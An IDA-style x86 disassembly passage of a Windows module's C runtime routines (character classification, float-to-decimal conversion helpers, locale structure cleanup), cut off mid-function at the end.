; =============== S U B R O U T I N E =======================================
sub_69B8651F proc near ; CODE XREF: sub_69B851F8+18p
; sub_69B87074+165p ...
arg_0 = dword ptr 4
call sub_69B84DE2
mov eax, [eax+64h]
cmp eax, off_69B9AB2C
jz short loc_69B86534
call sub_69B85A60
loc_69B86534: ; CODE XREF: sub_69B8651F+Ej
cmp dword ptr [eax+28h], 1
jle short loc_69B8654A
push 4
push [esp+4+arg_0]
push eax
call sub_69B86E55
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_69B8654A: ; CODE XREF: sub_69B8651F+19j
mov eax, [eax+48h]
mov ecx, [esp+arg_0]
movzx eax, byte ptr [eax+ecx*2]
and eax, 4
retn
sub_69B8651F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B86559 proc near ; CODE XREF: sub_69B86621+1Ap
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
cmp dword ptr [esi+14h], 0
push edi
jz loc_69B8660D
cmp dword ptr [esi+24h], 0
jz short loc_69B8657F
cmp ebx, 7Fh
jbe loc_69B8660D
loc_69B8657F: ; CODE XREF: sub_69B86559+1Bj
xor edi, edi
inc edi
cmp ebx, 100h
jnb short loc_69B865A9
cmp [esi+28h], edi
jle short loc_69B8659C
push edi
push ebx
push esi
call sub_69B86E55
add esp, 0Ch
jmp short loc_69B865A5
; ---------------------------------------------------------------------------
loc_69B8659C: ; CODE XREF: sub_69B86559+34j
mov eax, [esi+48h]
movzx eax, byte ptr [eax+ebx*2]
and eax, edi
loc_69B865A5: ; CODE XREF: sub_69B86559+41j
test eax, eax
jz short loc_69B8661A
loc_69B865A9: ; CODE XREF: sub_69B86559+2Fj
mov edx, [esi+48h]
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_69B865CA
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
mov byte ptr [ebp+arg_0+2], 0
pop eax
jmp short loc_69B865D3
; ---------------------------------------------------------------------------
loc_69B865CA: ; CODE XREF: sub_69B86559+60j
mov byte ptr [ebp+arg_0], bl
mov byte ptr [ebp+arg_0+1], 0
mov eax, edi
loc_69B865D3: ; CODE XREF: sub_69B86559+6Fj
push edi
push dword ptr [esi+4]
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 100h
push dword ptr [esi+14h]
call sub_69B1AEC4
add esp, 20h
test eax, eax
jz short loc_69B8661A
cmp eax, edi
jnz short loc_69B86600
movzx eax, [ebp+var_4]
jmp short loc_69B8661C
; ---------------------------------------------------------------------------
loc_69B86600: ; CODE XREF: sub_69B86559+9Fj
movzx ecx, [ebp+var_3]
xor eax, eax
mov ah, [ebp+var_4]
or eax, ecx
jmp short loc_69B8661C
; ---------------------------------------------------------------------------
loc_69B8660D: ; CODE XREF: sub_69B86559+11j
; sub_69B86559+20j
cmp ebx, 41h
jl short loc_69B8661A
cmp ebx, 5Ah
lea eax, [ebx+20h]
jle short loc_69B8661C
loc_69B8661A: ; CODE XREF: sub_69B86559+4Ej
; sub_69B86559+9Bj ...
mov eax, ebx
loc_69B8661C: ; CODE XREF: sub_69B86559+A5j
; sub_69B86559+B2j ...
pop edi
pop esi
pop ebx
leave
retn
sub_69B86559 endp
; =============== S U B R O U T I N E =======================================
sub_69B86621 proc near ; CODE XREF: sub_69B851F8+9p
arg_0 = dword ptr 4
call sub_69B84DE2
mov eax, [eax+64h]
cmp eax, off_69B9AB2C
jz short loc_69B86636
call sub_69B85A60
loc_69B86636: ; CODE XREF: sub_69B86621+Ej
push [esp+arg_0]
push eax
call sub_69B86559
pop ecx
pop ecx
retn
sub_69B86621 endp
; =============== S U B R O U T I N E =======================================
sub_69B86643 proc near ; CODE XREF: sub_69B866C2+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push 20h
pop ecx
cdq
idiv ecx
push 1Fh
pop ecx
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
mov ecx, [esp+arg_0]
not edx
test [ecx+eax*4], edx
jz short loc_69B8666B
loc_69B86662: ; CODE XREF: sub_69B86643+26j
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_69B86665: ; CODE XREF: sub_69B86643+2Cj
cmp dword ptr [ecx+eax*4], 0
jnz short loc_69B86662
loc_69B8666B: ; CODE XREF: sub_69B86643+1Dj
inc eax
cmp eax, 3
jl short loc_69B86665
xor eax, eax
inc eax
retn
sub_69B86643 endp
; =============== S U B R O U T I N E =======================================
sub_69B86675 proc near ; CODE XREF: sub_69B866C2+42p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push edi
push 20h
pop ecx
cdq
idiv ecx
mov edi, [esp+8+arg_0]
mov esi, eax
lea eax, [edi+esi*4]
push eax
push 1Fh
pop ecx
sub ecx, edx
xor edx, edx
inc edx
shl edx, cl
push edx
push dword ptr [eax]
call sub_69B86ECC
add esp, 0Ch
dec esi
js short loc_69B866BF
lea edi, [edi+esi*4]
loc_69B866A6: ; CODE XREF: sub_69B86675+48j
test eax, eax
jz short loc_69B866BF
push edi
push 1
push dword ptr [edi]
call sub_69B86ECC
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_69B866A6
loc_69B866BF: ; CODE XREF: sub_69B86675+2Cj
; sub_69B86675+33j
pop edi
pop esi
retn
sub_69B86675 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B866C2 proc near ; CODE XREF: sub_69B867E3+79p
; sub_69B867E3+C2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
dec edi
push 20h
lea eax, [edi+1]
pop ecx
cdq
idiv ecx
push 1Fh
pop esi
sub esi, edx
xor edx, edx
inc edx
mov ecx, esi
shl edx, cl
mov ebx, eax
mov eax, [ebp+arg_0]
test [eax+ebx*4], edx
jz short loc_69B86711
lea ecx, [edi+1]
push ecx
push eax
call sub_69B86643
test eax, eax
pop ecx
pop ecx
jnz short loc_69B8670E
push edi
push [ebp+arg_0]
call sub_69B86675
pop ecx
pop ecx
mov [ebp+var_4], eax
loc_69B8670E: ; CODE XREF: sub_69B866C2+3Cj
mov eax, [ebp+arg_0]
loc_69B86711: ; CODE XREF: sub_69B866C2+2Cj
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax+ebx*4], edx
inc ebx
cmp ebx, ecx
jge short loc_69B8672C
lea edi, [eax+ebx*4]
sub ecx, ebx
xor eax, eax
rep stosd
loc_69B8672C: ; CODE XREF: sub_69B866C2+5Fj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_69B866C2 endp
; =============== S U B R O U T I N E =======================================
sub_69B86734 proc near ; CODE XREF: sub_69B867E3+6Dp
; sub_69B867E3+ACp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 3
pop edx
sub ecx, eax
push esi
loc_69B86742: ; CODE XREF: sub_69B86734+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_69B86742
pop esi
retn
sub_69B86734 endp
; =============== S U B R O U T I N E =======================================
sub_69B8674F proc near ; CODE XREF: sub_69B867E3+4Dp
arg_0 = dword ptr 4
xor eax, eax
loc_69B86751: ; CODE XREF: sub_69B8674F+10j
mov ecx, [esp+arg_0]
cmp dword ptr [ecx+eax*4], 0
jnz short loc_69B86765
inc eax
cmp eax, 3
jl short loc_69B86751
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_69B86765: ; CODE XREF: sub_69B8674F+Aj
xor eax, eax
retn
sub_69B8674F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B86768 proc near ; CODE XREF: sub_69B867E3+B6p
; sub_69B867E3+D0p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
pop esi
cdq
mov ecx, esi
idiv ecx
mov ebx, [ebp+arg_0]
or edi, 0FFFFFFFFh
mov [ebp+arg_4], esi
mov ecx, edx
shl edi, cl
mov [ebp+var_8], eax
xor eax, eax
sub [ebp+arg_4], edx
not edi
mov [ebp+var_4], eax
loc_69B86796: ; CODE XREF: sub_69B86768+51j
mov esi, [ebx+eax*4]
mov ecx, esi
and ecx, edi
mov [ebp+var_C], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+arg_4]
or esi, [ebp+var_4]
mov [ebx+eax*4], esi
mov esi, [ebp+var_C]
shl esi, cl
inc eax
cmp eax, 3
mov [ebp+var_4], esi
jl short loc_69B86796
push 2
pop eax
mov ecx, eax
sub ecx, [ebp+var_8]
lea ecx, [ebx+ecx*4]
loc_69B867C6: ; CODE XREF: sub_69B86768+74j
cmp eax, [ebp+var_8]
jl short loc_69B867D2
mov edx, [ecx]
mov [ebx+eax*4], edx
jmp short loc_69B867D6
; ---------------------------------------------------------------------------
loc_69B867D2: ; CODE XREF: sub_69B86768+61j
and dword ptr [ebx+eax*4], 0
loc_69B867D6: ; CODE XREF: sub_69B86768+68j
dec eax
sub ecx, 4
test eax, eax
jge short loc_69B867C6
pop edi
pop esi
pop ebx
leave
retn
sub_69B86768 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B867E3 proc near ; CODE XREF: sub_69B8693B+Dp
; sub_69B86951+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
movzx ecx, word ptr [eax+0Ah]
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
shl eax, 10h
and edi, 7FFFh
sub edi, 3FFFh
cmp edi, 0FFFFC001h
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
mov [ebp+var_8], ecx
push eax
jnz short loc_69B8684C
xor ebx, ebx
call sub_69B8674F
test eax, eax
pop ecx
jnz loc_69B868FB
lea edi, [ebp+var_C]
stosd
stosd
stosd
loc_69B86844: ; CODE XREF: sub_69B867E3+DAj
push 2
pop eax
jmp loc_69B868FD
; ---------------------------------------------------------------------------
loc_69B8684C: ; CODE XREF: sub_69B867E3+49j
lea eax, [ebp+var_18]
push eax
call sub_69B86734
push dword ptr [esi+8]
lea eax, [ebp+var_C]
push eax
call sub_69B866C2
add esp, 10h
test eax, eax
jz short loc_69B86869
inc edi
loc_69B86869: ; CODE XREF: sub_69B867E3+83j
mov eax, [esi+4]
mov ecx, eax
sub ecx, [esi+8]
cmp edi, ecx
jge short loc_69B8687F
xor eax, eax
lea edi, [ebp+var_C]
stosd
stosd
stosd
jmp short loc_69B868BB
; ---------------------------------------------------------------------------
loc_69B8687F: ; CODE XREF: sub_69B867E3+90j
cmp edi, eax
jg short loc_69B868BF
sub eax, edi
mov edi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_69B86734
lea eax, [ebp+var_C]
push edi
push eax
call sub_69B86768
push dword ptr [esi+8]
lea eax, [ebp+var_C]
push eax
call sub_69B866C2
mov eax, [esi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_69B86768
add esp, 20h
loc_69B868BB: ; CODE XREF: sub_69B867E3+9Aj
xor ebx, ebx
jmp short loc_69B86844
; ---------------------------------------------------------------------------
loc_69B868BF: ; CODE XREF: sub_69B867E3+9Ej
cmp edi, [esi]
push dword ptr [esi+0Ch]
jl short loc_69B868E7
xor eax, eax
lea edi, [ebp+var_C]
stosd
stosd
stosd
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_69B86768
mov ebx, [esi+14h]
add ebx, [esi]
pop ecx
xor eax, eax
pop ecx
inc eax
jmp short loc_69B868FD
; ---------------------------------------------------------------------------
loc_69B868E7: ; CODE XREF: sub_69B867E3+E1j
mov ebx, [esi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add ebx, edi
call sub_69B86768
pop ecx
pop ecx
loc_69B868FB: ; CODE XREF: sub_69B867E3+55j
xor eax, eax
loc_69B868FD: ; CODE XREF: sub_69B867E3+64j
; sub_69B867E3+102j
push 1Fh
pop ecx
sub ecx, [esi+0Ch]
mov esi, [esi+10h]
shl ebx, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or ebx, ecx
or ebx, [ebp+var_C]
cmp esi, 40h
jnz short loc_69B8692C
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], ebx
mov [ecx], edx
jmp short loc_69B86936
; ---------------------------------------------------------------------------
loc_69B8692C: ; CODE XREF: sub_69B867E3+13Aj
cmp esi, 20h
jnz short loc_69B86936
mov ecx, [ebp+arg_4]
mov [ecx], ebx
loc_69B86936: ; CODE XREF: sub_69B867E3+147j
; sub_69B867E3+14Cj
pop edi
pop esi
pop ebx
leave
retn
sub_69B867E3 endp
; =============== S U B R O U T I N E =======================================
sub_69B8693B proc near ; CODE XREF: sub_69B86967+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_69B9AC74
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_69B867E3
add esp, 0Ch
retn
sub_69B8693B endp
; =============== S U B R O U T I N E =======================================
sub_69B86951 proc near ; CODE XREF: sub_69B86994+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_69B9AC8C
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_69B867E3
add esp, 0Ch
retn
sub_69B86951 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B86967 proc near ; CODE XREF: sub_69B85299+12p
var_10 = byte ptr -10h
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_10]
push eax
call sub_69B87074
push [ebp+arg_0]
lea eax, [ebp+var_10]
push eax
call sub_69B8693B
add esp, 24h
leave
retn
sub_69B86967 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B86994 proc near ; CODE XREF: sub_69B85299+2Dp
var_10 = byte ptr -10h
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_10]
push eax
call sub_69B87074
push [ebp+arg_0]
lea eax, [ebp+var_10]
push eax
call sub_69B86951
add esp, 24h
leave
retn
sub_69B86994 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B869C1 proc near ; CODE XREF: sub_69B853AA+40p
; sub_69B854A2+36p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
mov ecx, [edx+0Ch]
push ebx
mov ebx, [ebp+arg_4]
test ebx, ebx
push esi
mov esi, [ebp+arg_0]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
mov eax, edi
jle short loc_69B869FE
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_69B869E4: ; CODE XREF: sub_69B869C1+38j
mov dl, [ecx]
test dl, dl
jz short loc_69B869F0
movsx edx, dl
inc ecx
jmp short loc_69B869F3
; ---------------------------------------------------------------------------
loc_69B869F0: ; CODE XREF: sub_69B869C1+27j
push 30h
pop edx
loc_69B869F3: ; CODE XREF: sub_69B869C1+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_69B869E4
mov edx, [ebp+arg_8]
loc_69B869FE: ; CODE XREF: sub_69B869C1+1Cj
test ebx, ebx
mov byte ptr [eax], 0
jl short loc_69B86A17
cmp byte ptr [ecx], 35h
jl short loc_69B86A17
jmp short loc_69B86A0F
; ---------------------------------------------------------------------------
loc_69B86A0C: ; CODE XREF: sub_69B869C1+52j
mov byte ptr [eax], 30h
loc_69B86A0F: ; CODE XREF: sub_69B869C1+49j
dec eax
cmp byte ptr [eax], 39h
jz short loc_69B86A0C
inc byte ptr [eax]
loc_69B86A17: ; CODE XREF: sub_69B869C1+42j
; sub_69B869C1+47j
cmp byte ptr [esi], 31h
jnz short loc_69B86A21
inc dword ptr [edx+4]
jmp short loc_69B86A3B
; ---------------------------------------------------------------------------
loc_69B86A21: ; CODE XREF: sub_69B869C1+59j
mov eax, edi
lea edx, [eax+1]
loc_69B86A26: ; CODE XREF: sub_69B869C1+6Aj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_69B86A26
sub eax, edx
inc eax
push eax
push edi
push esi
call sub_69B22103
add esp, 0Ch
loc_69B86A3B: ; CODE XREF: sub_69B869C1+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_69B869C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B86A40 proc near ; CODE XREF: sub_69B86AFA+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+6]
push ebx
push esi
push edi
mov edi, 7FFh
mov esi, 80000000h
mov [ebp+var_4], esi
mov ecx, eax
shr ecx, 4
and eax, 8000h
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
and eax, 0FFFFFh
test ebx, ebx
jz short loc_69B86A90
cmp ebx, edi
jz short loc_69B86A89
lea edi, [ecx+3C00h]
jmp short loc_69B86AB1
; ---------------------------------------------------------------------------
loc_69B86A89: ; CODE XREF: sub_69B86A40+3Fj
mov edi, 7FFFh
jmp short loc_69B86AB1
; ---------------------------------------------------------------------------
loc_69B86A90: ; CODE XREF: sub_69B86A40+3Bj
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B86AA8
cmp edx, ebx
jnz short loc_69B86AA8
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_69B86AF5
; ---------------------------------------------------------------------------
loc_69B86AA8: ; CODE XREF: sub_69B86A40+54j
; sub_69B86A40+58j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_69B86AB1: ; CODE XREF: sub_69B86A40+47j
; sub_69B86A40+4Ej
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
or ecx, [ebp+var_4]
mov eax, [ebp+arg_0]
shl edx, 0Bh
test ecx, esi
mov [eax+4], ecx
mov [eax], edx
jnz short loc_69B86AEC
loc_69B86ACD: ; CODE XREF: sub_69B86A40+AAj
mov ecx, [eax]
mov edx, [eax+4]
mov ebx, ecx
shl edx, 1
shr ebx, 1Fh
or edx, ebx
add ecx, ecx
add edi, 0FFFFh
test edx, esi
mov [eax+4], edx
mov [eax], ecx
jz short loc_69B86ACD
loc_69B86AEC: ; CODE XREF: sub_69B86A40+8Bj
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_69B86AF5: ; CODE XREF: sub_69B86A40+66j
pop edi
pop esi
pop ebx
leave
retn
sub_69B86A40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B86AFA proc near ; CODE XREF: sub_69B853AA+18p
; sub_69B854A2+17p ...
var_28 = word ptr -28h
var_26 = byte ptr -26h
var_24 = byte ptr -24h
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
push esi
push edi
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_C]
push eax
call sub_69B86A40
pop ecx
pop ecx
lea eax, [ebp+var_28]
push eax
push 0
push 11h
sub esp, 0Ch
lea esi, [ebp+var_C]
mov edi, esp
movsd
movsd
movsw
call sub_69B87498
mov esi, [ebp+arg_8]
mov edi, [ebp+arg_C]
mov [esi+8], eax
movsx eax, [ebp+var_26]
mov [esi], eax
movsx eax, [ebp+var_28]
mov [esi+4], eax
lea eax, [ebp+var_24]
push eax
push edi
call sub_69B227E1
add esp, 20h
mov [esi+0Ch], edi
pop edi
mov eax, esi
pop esi
leave
retn
sub_69B86AFA endp
; =============== S U B R O U T I N E =======================================
sub_69B86B56 proc near ; DATA XREF: .data:off_69B92680o
; .data:off_69B92684o ...
push 2
call sub_69B84A5B
pop ecx
retn
sub_69B86B56 endp
; =============== S U B R O U T I N E =======================================
sub_69B86B5F proc near ; CODE XREF: sub_69B85853:loc_69B85878p
call sub_69B84D7C
test eax, eax
jnz short loc_69B86B6E
mov eax, offset dword_69B9ACA4
retn
; ---------------------------------------------------------------------------
loc_69B86B6E: ; CODE XREF: sub_69B86B5F+7j
add eax, 8
retn
sub_69B86B5F endp
; =============== S U B R O U T I N E =======================================
sub_69B86B72 proc near ; CODE XREF: sub_69B858CF+B7p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz loc_69B86D00
push dword ptr [esi+4]
call sub_69B1D1FD
push dword ptr [esi+8]
call sub_69B1D1FD
push dword ptr [esi+0Ch]
call sub_69B1D1FD
push dword ptr [esi+10h]
call sub_69B1D1FD
push dword ptr [esi+14h]
call sub_69B1D1FD
push dword ptr [esi+18h]
call sub_69B1D1FD
push dword ptr [esi]
call sub_69B1D1FD
push dword ptr [esi+20h]
call sub_69B1D1FD
push dword ptr [esi+24h]
call sub_69B1D1FD
push dword ptr [esi+28h]
call sub_69B1D1FD
push dword ptr [esi+2Ch]
call sub_69B1D1FD
push dword ptr [esi+30h]
call sub_69B1D1FD
push dword ptr [esi+34h]
call sub_69B1D1FD
push dword ptr [esi+1Ch]
call sub_69B1D1FD
push dword ptr [esi+38h]
call sub_69B1D1FD
push dword ptr [esi+3Ch]
call sub_69B1D1FD
add esp, 40h
push dword ptr [esi+40h]
call sub_69B1D1FD
push dword ptr [esi+44h]
call sub_69B1D1FD
push dword ptr [esi+48h]
call sub_69B1D1FD
push dword ptr [esi+4Ch]
call sub_69B1D1FD
push dword ptr [esi+50h]
call sub_69B1D1FD
push dword ptr [esi+54h]
call sub_69B1D1FD
push dword ptr [esi+58h]
call sub_69B1D1FD
push dword ptr [esi+5Ch]
call sub_69B1D1FD
push dword ptr [esi+60h]
call sub_69B1D1FD
push dword ptr [esi+64h]
call sub_69B1D1FD
push dword ptr [esi+68h]
call sub_69B1D1FD
push dword ptr [esi+6Ch]
call sub_69B1D1FD
push dword ptr [esi+70h]
call sub_69B1D1FD
push dword ptr [esi+74h]
call sub_69B1D1FD
push dword ptr [esi+78h]
call sub_69B1D1FD
push dword ptr [esi+7Ch]
call sub_69B1D1FD
add esp, 40h
push dword ptr [esi+80h]
call sub_69B1D1FD
push dword ptr [esi+84h]
call sub_69B1D1FD
push dword ptr [esi+88h]
call sub_69B1D1FD
push dword ptr [esi+8Ch]
call sub_69B1D1FD
push dword ptr [esi+90h]
call sub_69B1D1FD
push dword ptr [esi+94h]
call sub_69B1D1FD
push dword ptr [esi+98h]
call sub_69B1D1FD
push dword ptr [esi+9Ch]
call sub_69B1D1FD
push dword ptr [esi+0A0h]
call sub_69B1D1FD
push dword ptr [esi+0A4h]
call sub_69B1D1FD
push dword ptr [esi+0A8h]
call sub_69B1D1FD
add esp, 2Ch
loc_69B86D00: ; CODE XREF: sub_69B86B72+7j
pop esi
retn
sub_69B86B72 endp
; =============== S U B R O U T I N E =======================================
sub_69B86D02 proc near ; CODE XREF: sub_69B858CF+5Dp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_69B86D5F
mov eax, [esi]
mov ecx, off_69B9AD94
cmp eax, [ecx]
jz short loc_69B86D26
cmp eax, off_69B9AD64
jz short loc_69B86D26
push eax
call sub_69B1D1FD
pop ecx
loc_69B86D26: ; CODE XREF: sub_69B86D02+13j
; sub_69B86D02+1Bj
mov eax, [esi+4]
mov ecx, off_69B9AD94
cmp eax, [ecx+4]
jz short loc_69B86D43
cmp eax, off_69B9AD68
jz short loc_69B86D43
push eax
call sub_69B1D1FD
pop ecx
loc_69B86D43: ; CODE XREF: sub_69B86D02+30j
; sub_69B86D02+38j
mov esi, [esi+8]
mov eax, off_69B9AD94
cmp esi, [eax+8]
jz short loc_69B86D5F
cmp esi, off_69B9AD6C
jz short loc_69B86D5F
push esi
call sub_69B1D1FD
pop ecx
loc_69B86D5F: ; CODE XREF: sub_69B86D02+7j
; sub_69B86D02+4Cj ...
pop esi
retn
sub_69B86D02 endp
; =============== S U B R O U T I N E =======================================
sub_69B86D61 proc near ; CODE XREF: sub_69B858CF+3Ap
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz loc_69B86E38
mov eax, [esi+0Ch]
mov ecx, off_69B9AD94
cmp eax, [ecx+0Ch]
jz short loc_69B86D8B
cmp eax, off_69B9AD70
jz short loc_69B86D8B
push eax
call sub_69B1D1FD
pop ecx
loc_69B86D8B: ; CODE XREF: sub_69B86D61+19j
; sub_69B86D61+21j
mov eax, [esi+10h]
mov ecx, off_69B9AD94
cmp eax, [ecx+10h]
jz short loc_69B86DA8
cmp eax, off_69B9AD74
jz short loc_69B86DA8
push eax
call sub_69B1D1FD
pop ecx
loc_69B86DA8: ; CODE XREF: sub_69B86D61+36j
; sub_69B86D61+3Ej
mov eax, [esi+14h]
mov ecx, off_69B9AD94
cmp eax, [ecx+14h]
jz short loc_69B86DC5
cmp eax, off_69B9AD78
jz short loc_69B86DC5
push eax
call sub_69B1D1FD
pop ecx
loc_69B86DC5: ; CODE XREF: sub_69B86D61+53j
; sub_69B86D61+5Bj
mov eax, [esi+18h]
mov ecx, off_69B9AD94
cmp eax, [ecx+18h]
jz short loc_69B86DE2
cmp eax, off_69B9AD7C
jz short loc_69B86DE2
push eax
call sub_69B1D1FD
pop ecx
loc_69B86DE2: ; CODE XREF: sub_69B86D61+70j
; sub_69B86D61+78j
mov eax, [esi+1Ch]
mov ecx, off_69B9AD94
cmp eax, [ecx+1Ch]
jz short loc_69B86DFF
cmp eax, off_69B9AD80
jz short loc_69B86DFF
push eax
call sub_69B1D1FD
pop ecx
loc_69B86DFF: ; CODE XREF: sub_69B86D61+8Dj
; sub_69B86D61+95j
mov eax, [esi+20h]
mov ecx, off_69B9AD94
cmp eax, [ecx+20h]
jz short loc_69B86E1C
cmp eax, off_69B9AD84
jz short loc_69B86E1C
push eax
call sub_69B1D1FD
pop ecx
loc_69B86E1C: ; CODE XREF: sub_69B86D61+AAj
; sub_69B86D61+B2j
mov esi, [esi+24h]
mov eax, off_69B9AD94
cmp esi, [eax+24h]
jz short loc_69B86E38
cmp esi, off_69B9AD88
jz short loc_69B86E38
push esi
call sub_69B1D1FD
pop ecx
loc_69B86E38: ; CODE XREF: sub_69B86D61+7j
; sub_69B86D61+C6j ...
pop esi
retn
sub_69B86D61 endp
; =============== S U B R O U T I N E =======================================
sub_69B86E3A proc near ; CODE XREF: sub_69B19587+BD48p
; sub_69B1CEB6+8492p
arg_0 = dword ptr 4
mov eax, dword_69B9B758
test eax, eax
jz short loc_69B86E52
push [esp+arg_0]
call eax ; dword_69B9B758
test eax, eax
pop ecx
jz short loc_69B86E52
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_69B86E52: ; CODE XREF: sub_69B86E3A+7j
; sub_69B86E3A+12j
xor eax, eax
retn
sub_69B86E3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B86E55 proc near ; CODE XREF: sub_69B8651F+22p
; sub_69B86559+39p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
lea ecx, [eax+1]
cmp ecx, 100h
mov ecx, [ebp+arg_0]
ja short loc_69B86E73
mov ecx, [ecx+48h]
movzx eax, word ptr [ecx+eax*2]
jmp short loc_69B86EC7
; ---------------------------------------------------------------------------
loc_69B86E73: ; CODE XREF: sub_69B86E55+13j
push esi
mov edx, eax
sar edx, 8
push edi
mov edi, [ecx+48h]
movzx esi, dl
test byte ptr [edi+esi*2+1], 80h
pop edi
pop esi
jz short loc_69B86E98
push 2
mov [ebp+var_3], al
mov [ebp+var_4], dl
mov [ebp+var_2], 0
pop eax
jmp short loc_69B86EA2
; ---------------------------------------------------------------------------
loc_69B86E98: ; CODE XREF: sub_69B86E55+32j
mov [ebp+var_4], al
xor eax, eax
mov [ebp+var_3], 0
inc eax
loc_69B86EA2: ; CODE XREF: sub_69B86E55+41j
push 1
push dword ptr [ecx+14h]
push dword ptr [ecx+4]
lea ecx, [ebp+arg_4+2]
push ecx
push eax
